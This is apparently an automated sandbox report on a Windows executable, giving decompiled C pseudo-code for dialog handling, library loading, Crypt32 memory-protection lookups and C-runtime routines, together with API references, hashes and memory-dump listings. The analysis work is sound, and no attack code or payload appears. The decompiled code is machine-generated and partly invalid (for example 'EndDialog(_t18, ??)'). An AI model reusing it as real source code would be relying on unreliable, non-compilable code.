Function 013BB81F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E013BB81F(void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				void* _t12;
				WCHAR* _t16;
				void* _t17;
				struct HWND__* _t18;
				intOrPtr _t19;
				void* _t20;
				signed short _t23;

				_t16 = _a16;
				_t23 = _a12;
				_t19 = _a8;
				_t18 = _a4;
				if(E013A12E7(_t17, _t18, _t19, _t23, _t16, L"RENAMEDLG", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t20 = _t19 - 0x110;
				if(_t20 == 0) {
					 *0x13f8954 = _t16;
					SetDlgItemTextW(_t18, 0x65, _t16);
					SetDlgItemTextW(_t18, 0x66,  *0x13f8954);
					goto L10;
				}
				if(_t20 != 1) {
					L5:
					return 0;
				}
				_t12 = (_t23 & 0x0000ffff) - 1;
				if(_t12 == 0) {
					GetDlgItemTextW(_t18, 0x66,  *0x13f8954, 0x800);
					_push(1);
					L7:
					EndDialog(_t18, ??);
					goto L10;
				}
				if(_t12 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x013bb820
0x013bb825
0x013bb82a
0x013bb82f
0x013bb847
0x013bb8a7
0x00000000
0x013bb8a9
0x013bb849
0x013bb84f
0x013bb894
0x013bb89a
0x013bb8a5
0x00000000
0x013bb8a5
0x013bb854
0x013bb863
0x00000000
0x013bb863
0x013bb859
0x013bb85c
0x013bb880
0x013bb886
0x013bb869
0x013bb86a
0x00000000
0x013bb86a
0x013bb861
0x013bb867
0x00000000
0x013bb867
0x00000000

APIs

Part of subcall function 013A12E7: GetDlgItem.USER32(00000000,00003021), ref: 013A132B
Part of subcall function 013A12E7: SetWindowTextW.USER32(00000000,013D02E4), ref: 013A1341

EndDialog.USER32(?,00000001), ref: 013BB86A
GetDlgItemTextW.USER32(?,00000066,00000800), ref: 013BB880
SetDlgItemTextW.USER32(?,00000065,?), ref: 013BB89A
SetDlgItemTextW.USER32(?,00000066), ref: 013BB8A5

Strings

RENAMEDLG, xrefs: 013BB837

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 141d518f54bef7b953e87bd0f3751a524a333168f4f2d0e028ec0f3c5b52ffaa
Instruction ID: 614d68f2f699dd74d8f87c943233bfb07290020a632791af524d105eafd9bca6
Opcode Fuzzy Hash: 141d518f54bef7b953e87bd0f3751a524a333168f4f2d0e028ec0f3c5b52ffaa
Instruction Fuzzy Hash: EA01F973945215BFE1254D696E84F77BF6CE746B44F000419F341F78C8D65598048762

Uniqueness

Uniqueness Score: -1.00%

Function 013C4A7F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E013C4A7F(void* __ecx, void* __esi, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _t10;
				struct HINSTANCE__** _t12;
				intOrPtr* _t23;
				signed int _t25;

				_t10 =  *0x13da1c8; // 0x21a16d55
				_v8 = _t10 ^ _t25;
				_v12 = _v12 & 0x00000000;
				_t12 =  &_v12;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t12, __ecx, __ecx);
				if(_t12 != 0) {
					_t23 = GetProcAddress(_v12, "CorExitProcess");
					if(_t23 != 0) {
						 *0x13d025c(_a4);
						 *_t23();
					}
				}
				if(_v12 != 0) {
					FreeLibrary(_v12);
				}
				return E013BD763(_v8 ^ _t25);
			}

0x013c4a86
0x013c4a8d
0x013c4a90
0x013c4a94
0x013c4a9f
0x013c4aa7
0x013c4ab8
0x013c4abc
0x013c4ac3
0x013c4ac9
0x013c4ac9
0x013c4acb
0x013c4ad0
0x013c4ad5
0x013c4ad5
0x013c4ae8

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,013C4A30,?,?,013C49D0,?,013D7F60,0000000C,013C4B27,?,00000002), ref: 013C4A9F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 013C4AB2
FreeLibrary.KERNEL32(00000000,?,?,?,013C4A30,?,?,013C49D0,?,013D7F60,0000000C,013C4B27,?,00000002,00000000), ref: 013C4AD5

Strings

mscoree.dll, xrefs: 013C4A98
CorExitProcess, xrefs: 013C4AAA

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6bb6a05083389799d1aa2be8dd45c64528ed0e9450a8e8c15c0dcc290f53968e
Instruction ID: 0af342370927d5efe4fc9eb12cce356813e334be8935f5605dabf5e0f77615cf
Opcode Fuzzy Hash: 6bb6a05083389799d1aa2be8dd45c64528ed0e9450a8e8c15c0dcc290f53968e
Instruction Fuzzy Hash: 11F06235A01209BBDB25AFA9EC59B9EBFB8EF04B19F044168F905A2240DB718D40CB94

Uniqueness

Uniqueness Score: -1.00%

Function 013ADF05 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E013ADF05(struct HINSTANCE__** __ecx) {
				void* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__** _t9;

				_t9 = __ecx;
				if(__ecx[1] == 0) {
					_t6 = E013AF35B(L"Crypt32.dll");
					 *__ecx = _t6;
					if(_t6 != 0) {
						_t9[2] = GetProcAddress(_t6, "CryptProtectMemory");
						_t6 = GetProcAddress( *_t9, "CryptUnprotectMemory");
						_t9[3] = _t6;
					}
					_t9[1] = 1;
					return _t6;
				}
				return _t5;
			}

0x013adf06
0x013adf0c
0x013adf13
0x013adf18
0x013adf1c
0x013adf31
0x013adf34
0x013adf3a
0x013adf3a
0x013adf3d
0x00000000
0x013adf3d
0x013adf42

APIs

Part of subcall function 013AF35B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 013AF376
Part of subcall function 013AF35B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,013ADF18,Crypt32.dll,?,013ADF9C,?,013ADF7E,?,?,?,?), ref: 013AF398

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 013ADF24
GetProcAddress.KERNEL32(013E1E58,CryptUnprotectMemory), ref: 013ADF34

Strings

CryptProtectMemory, xrefs: 013ADF1E
CryptUnprotectMemory, xrefs: 013ADF2A
Crypt32.dll, xrefs: 013ADF0E

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 34424a42e5bbaf131cb7464cc1a8b4d4da5a38d6d6a9426a2e31516126f3f1aa
Instruction ID: 215e5e5eb01b810bb81c547582866e78c1c01aee8a3fc83b9e9e909ddae54bd8
Opcode Fuzzy Hash: 34424a42e5bbaf131cb7464cc1a8b4d4da5a38d6d6a9426a2e31516126f3f1aa
Instruction Fuzzy Hash: 30E04FB1505743BEDB556B79A848A09FF98FF90B28F548159F019C2640D7B4D0948B50

Uniqueness

Uniqueness Score: -1.00%

Function 013C52C1 Relevance: 7.6, APIs: 5, Instructions: 129
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E013C52C1(signed int* __ecx, signed int __edx) {
				signed int _v8;
				intOrPtr* _v12;
				signed int _v16;
				signed int _t28;
				signed int _t29;
				intOrPtr _t33;
				signed int _t37;
				signed int _t38;
				signed int _t40;
				void* _t50;
				signed int _t56;
				intOrPtr* _t57;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t80;
				signed int* _t81;
				signed int _t85;
				void* _t86;

				_t72 = __edx;
				_v12 = __ecx;
				_t28 =  *__ecx;
				_t81 =  *_t28;
				if(_t81 != 0) {
					_t29 =  *0x13da1c8; // 0x21a16d55
					_t56 =  *_t81 ^ _t29;
					_t78 = _t81[1] ^ _t29;
					_t83 = _t81[2] ^ _t29;
					asm("ror edi, cl");
					asm("ror esi, cl");
					asm("ror ebx, cl");
					if(_t78 != _t83) {
						L14:
						 *_t78 = E013C55C3( *((intOrPtr*)( *((intOrPtr*)(_v12 + 4)))));
						_t33 = E013C1C49(_t56);
						_t57 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)))) = _t33;
						_t24 = _t78 + 4; // 0x4
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 4)) = E013C1C49(_t24);
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 8)) = E013C1C49(_t83);
						_t37 = 0;
						L15:
						return _t37;
					}
					_t38 = 0x200;
					_t85 = _t83 - _t56 >> 2;
					if(_t85 <= 0x200) {
						_t38 = _t85;
					}
					_t80 = _t38 + _t85;
					if(_t80 == 0) {
						_t80 = 0x20;
					}
					if(_t80 < _t85) {
						L9:
						_push(4);
						_t80 = _t85 + 4;
						_push(_t80);
						_v8 = E013C8A23(_t56);
						_t40 = E013C59B2(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							goto L11;
						}
						_t37 = _t40 | 0xffffffff;
						goto L15;
					} else {
						_push(4);
						_push(_t80);
						_v8 = E013C8A23(_t56);
						E013C59B2(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							L11:
							_t56 = _t68;
							_v8 = _t68 + _t85 * 4;
							_t83 = _t68 + _t80 * 4;
							_t78 = _v8;
							_push(0x20);
							asm("ror eax, cl");
							_t71 = _t78;
							_v16 = 0 ^  *0x13da1c8;
							asm("sbb edx, edx");
							_t74 =  !_t72 & _t68 + _t80 * 0x00000004 - _t78 + 0x00000003 >> 0x00000002;
							_v8 = _t74;
							if(_t74 == 0) {
								goto L14;
							}
							_t75 = _v16;
							_t50 = 0;
							do {
								_t50 = _t50 + 1;
								 *_t71 = _t75;
								_t71 = _t71 + 4;
							} while (_t50 != _v8);
							goto L14;
						}
						goto L9;
					}
				}
				return _t28 | 0xffffffff;
			}

0x013c52c1
0x013c52cb
0x013c52cf
0x013c52d1
0x013c52d5
0x013c52df
0x013c52f0
0x013c52f5
0x013c52f7
0x013c52f9
0x013c52fb
0x013c52fd
0x013c5301
0x013c53bb
0x013c53c9
0x013c53cb
0x013c53d0
0x013c53d7
0x013c53d9
0x013c53e7
0x013c53f6
0x013c53f9
0x013c53fb
0x00000000
0x013c53fc
0x013c5309
0x013c530e
0x013c5313
0x013c5315
0x013c5315
0x013c5317
0x013c531c
0x013c5320
0x013c5320
0x013c5323
0x013c5342
0x013c5342
0x013c5344
0x013c5347
0x013c5350
0x013c5353
0x013c5358
0x013c535b
0x013c5360
0x00000000
0x00000000
0x013c5362
0x00000000
0x013c5325
0x013c5325
0x013c5327
0x013c5330
0x013c5333
0x013c5338
0x013c533b
0x013c5340
0x013c536a
0x013c536d
0x013c536f
0x013c5372
0x013c537a
0x013c5380
0x013c5387
0x013c5389
0x013c5391
0x013c53a0
0x013c53a4
0x013c53a6
0x013c53a9
0x00000000
0x00000000
0x013c53ab
0x013c53ae
0x013c53b0
0x013c53b0
0x013c53b1
0x013c53b3
0x013c53b6
0x00000000
0x013c53b0
0x00000000
0x013c5340
0x013c5323
0x00000000

APIs

_free.LIBCMT ref: 013C5333
_free.LIBCMT ref: 013C5353

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 98a5b96a8b146c0fdc67a77b83ec597212f9d6bf64c114f64cd1969574350123
Instruction ID: 6eda24ee297cfd02fbfb6169da534e0431e553ad7d6d9b88a8f8de4f8f61a216
Opcode Fuzzy Hash: 98a5b96a8b146c0fdc67a77b83ec597212f9d6bf64c114f64cd1969574350123
Instruction Fuzzy Hash: 75418032B012149BDB24DF7CC880A5EB7B5EF89B18F1545ADE555EB381DA71BD01CB80

Uniqueness

Uniqueness Score: -1.00%

Function 013C89A0 Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E013C89A0() {
				int _v8;
				void* __ecx;
				void* _t6;
				int _t7;
				char* _t13;
				int _t17;
				void* _t19;
				char* _t25;
				WCHAR* _t27;

				_t27 = GetEnvironmentStringsW();
				if(_t27 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t6 = E013C8969(_t27);
					_pop(_t19);
					_t17 = _t6 - _t27 >> 1;
					_t7 = WideCharToMultiByte(0, 0, _t27, _t17, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t25 = E013C59EC(_t19, _t7);
						if(_t25 == 0 || WideCharToMultiByte(0, 0, _t27, _t17, _t25, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t25;
							_t25 = 0;
						}
						E013C59B2(_t25);
					}
				}
				if(_t27 != 0) {
					FreeEnvironmentStringsW(_t27);
				}
				return _t13;
			}

0x013c89af
0x013c89b5
0x013c8a0d
0x013c8a0d
0x013c89b7
0x013c89b8
0x013c89bd
0x013c89c6
0x013c89cc
0x013c89d2
0x013c89d7
0x00000000
0x013c89d9
0x013c89df
0x013c89e4
0x013c8a02
0x013c89fc
0x013c89fc
0x013c89fe
0x013c89fe
0x013c8a05
0x013c8a0a
0x013c89d7
0x013c8a11
0x013c8a14
0x013c8a14
0x013c8a22

APIs

GetEnvironmentStringsW.KERNEL32 ref: 013C89A9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 013C89CC

Part of subcall function 013C59EC: RtlAllocateHeap.NTDLL(00000000,?,?,?,013C239A,?,0000015D,?,?,?,?,013C2F19,000000FF,00000000,?,?), ref: 013C5A1E

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 013C89F2
_free.LIBCMT ref: 013C8A05
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 013C8A14

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 646773c161263f4f42106530226c3563baef03bcf57a8ad211a6133515b76f59
Instruction ID: 1be980610b8013c627387ce84513aae652a03956ebc906e9f9231069b0e88a21
Opcode Fuzzy Hash: 646773c161263f4f42106530226c3563baef03bcf57a8ad211a6133515b76f59
Instruction Fuzzy Hash: 4401D4766032597FB33159BE6C4CC7B6D6DDEC6EA970401ACF905D2104EB608E0183B1

Uniqueness

Uniqueness Score: -1.00%

Function 013C6392 Relevance: 7.6, APIs: 5, Instructions: 53
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E013C6392(void* __ecx, void* __edx) {
				void* __esi;
				intOrPtr _t2;
				void* _t4;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t16;
				long _t17;

				_t11 = __ecx;
				_t17 = GetLastError();
				_t10 = 0;
				_t2 =  *0x13da20c; // 0x6
				_t20 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t16 = E013C5A7D(_t11, 1, 0x364);
					_pop(_t13);
					if(_t16 != 0) {
						_t4 = E013C793F(_t13, _t17, __eflags,  *0x13da20c, _t16);
						__eflags = _t4;
						if(_t4 != 0) {
							E013C6180(_t13, _t16, 0x13faf38);
							E013C59B2(_t10);
							__eflags = _t16;
							if(_t16 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t16);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E013C59B2();
						L8:
						SetLastError(_t17);
					}
				} else {
					_t16 = E013C78E9(_t11, _t17, _t20, _t2);
					if(_t16 != 0) {
						L9:
						SetLastError(_t17);
						_t10 = _t16;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x013c6392
0x013c639d
0x013c639f
0x013c63a1
0x013c63a6
0x013c63a9
0x013c63b7
0x013c63c3
0x013c63c6
0x013c63c9
0x013c63db
0x013c63e0
0x013c63e2
0x013c63ed
0x013c63f3
0x013c63fb
0x013c63fd
0x00000000
0x00000000
0x00000000
0x00000000
0x013c63e4
0x013c63e4
0x00000000
0x013c63e4
0x013c63cb
0x013c63cb
0x013c63cc
0x013c63cc
0x013c63ff
0x013c6400
0x013c6400
0x013c63ab
0x013c63b1
0x013c63b5
0x013c6408
0x013c6409
0x013c640f
0x00000000
0x00000000
0x00000000
0x013c63b5
0x013c6416

APIs

GetLastError.KERNEL32(?,?,?,013C5E33,013C5ACF,?,013C633C,00000001,00000364,?,013C2203,?,?,013DCBE8), ref: 013C6397
_free.LIBCMT ref: 013C63CC
_free.LIBCMT ref: 013C63F3
SetLastError.KERNEL32(00000000,?,013DCBE8), ref: 013C6400
SetLastError.KERNEL32(00000000,?,013DCBE8), ref: 013C6409

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 392120c8ba04f72fa5c4db837f570b42f0e3b798889c9d2ccca5b3dafcd6f1eb
Instruction ID: 70695728b95172c4bd9799c37e5b74db30e26a0bf79b87798aeeff63f8156876
Opcode Fuzzy Hash: 392120c8ba04f72fa5c4db837f570b42f0e3b798889c9d2ccca5b3dafcd6f1eb
Instruction Fuzzy Hash: 9901F4F62426127BD722362D7D8692B366EDBD1E7DF21012CF914A3392EF65DC014321

Uniqueness

Uniqueness Score: -1.00%

Function 013C925B Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E013C925B(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x13da8b0; // 0x13da8a4
					if(_t23 != 0) {
						E013C59B2(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x13da8b4; // 0x13fb3ac
					if(_t24 != 0) {
						E013C59B2(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x13da8b8; // 0x13fb3ac
					if(_t25 != 0) {
						E013C59B2(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x13da8e0; // 0x13da8a8
					if(_t26 != 0) {
						E013C59B2(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x13da8e4; // 0x13fb3b0
					if(_t27 != 0) {
						return E013C59B2(_t6);
					}
				}
				return _t6;
			}

0x013c9261
0x013c9266
0x013c926a
0x013c9270
0x013c9273
0x013c9278
0x013c927c
0x013c9282
0x013c9285
0x013c928a
0x013c928e
0x013c9294
0x013c9297
0x013c929c
0x013c92a0
0x013c92a6
0x013c92a9
0x013c92ae
0x013c92af
0x013c92b2
0x013c92b8
0x00000000
0x013c92c0
0x013c92b8
0x013c92c3

APIs

_free.LIBCMT ref: 013C9273

Part of subcall function 013C59B2: RtlFreeHeap.NTDLL(00000000,00000000,?,013C92F2,?,00000000,?,00000000,?,013C9319,?,00000007,?,?,013C9716,?), ref: 013C59C8
Part of subcall function 013C59B2: GetLastError.KERNEL32(?,?,013C92F2,?,00000000,?,00000000,?,013C9319,?,00000007,?,?,013C9716,?,?), ref: 013C59DA

_free.LIBCMT ref: 013C9285
_free.LIBCMT ref: 013C9297
_free.LIBCMT ref: 013C92A9
_free.LIBCMT ref: 013C92BB

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 313fee2efe2d3776778b15c2e8c58790d28397fe7e4abd36045ae56f1899782b
Instruction ID: bc79527036d4e97870b1c370e052491c3fcd3bdd3a2a527deec5eabb14c82bfc
Opcode Fuzzy Hash: 313fee2efe2d3776778b15c2e8c58790d28397fe7e4abd36045ae56f1899782b
Instruction Fuzzy Hash: C3F0FF32606204ABEA30EA5CF582D567FEEEB11B28765484DF948D7604CA25FC808765

Uniqueness

Uniqueness Score: -1.00%

Function 013C4B7A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E013C4B7A(void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t36;
				struct HINSTANCE__* _t37;
				struct HINSTANCE__* _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				void* _t52;
				struct HINSTANCE__* _t55;
				intOrPtr* _t59;
				struct HINSTANCE__* _t64;
				intOrPtr _t65;

				_t52 = __ecx;
				if(_a4 == 2 || _a4 == 1) {
					E013C8549(_t52);
					GetModuleFileNameA(0, 0x13fadd8, 0x104);
					_t49 =  *0x13fb388; // 0x693308
					 *0x13fb390 = 0x13fadd8;
					if(_t49 == 0 ||  *_t49 == 0) {
						_t49 = 0x13fadd8;
					}
					_v8 = 0;
					_v16 = 0;
					E013C4C9E(_t52, _t49, 0, 0,  &_v8,  &_v16);
					_t64 = E013C4E13(_v8, _v16, 1);
					if(_t64 != 0) {
						E013C4C9E(_t52, _t49, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
						if(_a4 != 1) {
							_v12 = 0;
							_push( &_v12);
							_t50 = E013C8064(_t49, 0, _t64, _t64);
							if(_t50 == 0) {
								_t59 = _v12;
								_t55 = 0;
								_t36 = _t59;
								if( *_t59 == 0) {
									L15:
									_t37 = 0;
									 *0x13fb37c = _t55;
									_v12 = 0;
									_t50 = 0;
									 *0x13fb380 = _t59;
									L16:
									E013C59B2(_t37);
									_v12 = 0;
									goto L17;
								} else {
									goto L14;
								}
								do {
									L14:
									_t36 = _t36 + 4;
									_t55 =  &(_t55->i);
								} while ( *_t36 != 0);
								goto L15;
							}
							_t37 = _v12;
							goto L16;
						}
						 *0x13fb37c = _v8 - 1;
						_t43 = _t64;
						_t64 = 0;
						 *0x13fb380 = _t43;
						goto L10;
					} else {
						_t44 = E013C5E2E();
						_push(0xc);
						_pop(0);
						 *_t44 = 0;
						L10:
						_t50 = 0;
						L17:
						E013C59B2(_t64);
						return _t50;
					}
				} else {
					_t45 = E013C5E2E();
					_t65 = 0x16;
					 *_t45 = _t65;
					E013C5D0D();
					return _t65;
				}
			}

0x013c4b7a
0x013c4b87
0x013c4ba7
0x013c4bba
0x013c4bc0
0x013c4bc6
0x013c4bce
0x013c4bd5
0x013c4bd5
0x013c4bda
0x013c4be1
0x013c4be8
0x013c4bfa
0x013c4c01
0x013c4c20
0x013c4c2c
0x013c4c47
0x013c4c4a
0x013c4c51
0x013c4c57
0x013c4c5e
0x013c4c61
0x013c4c63
0x013c4c67
0x013c4c71
0x013c4c71
0x013c4c73
0x013c4c79
0x013c4c7c
0x013c4c7e
0x013c4c84
0x013c4c85
0x013c4c8b
0x00000000
0x00000000
0x00000000
0x00000000
0x013c4c69
0x013c4c69
0x013c4c69
0x013c4c6c
0x013c4c6d
0x00000000
0x013c4c69
0x013c4c59
0x00000000
0x013c4c59
0x013c4c32
0x013c4c37
0x013c4c39
0x013c4c3b
0x00000000
0x013c4c03
0x013c4c03
0x013c4c08
0x013c4c0a
0x013c4c0b
0x013c4c40
0x013c4c40
0x013c4c8e
0x013c4c8f
0x00000000
0x013c4c98
0x013c4b8f
0x013c4b8f
0x013c4b96
0x013c4b97
0x013c4b99
0x00000000
0x013c4b9e

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\file.exe,00000104), ref: 013C4BBA
_free.LIBCMT ref: 013C4C85
_free.LIBCMT ref: 013C4C8F

Strings

C:\Users\user\Desktop\file.exe, xrefs: 013C4BB1, 013C4BB8, 013C4BE7, 013C4C1F

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\file.exe
API String ID: 2506810119-2502435711
Opcode ID: b65eef06dd6203e5b8b0ef631ebc280e0d5f3e33e42a9e104f5b0351e2fb19e5
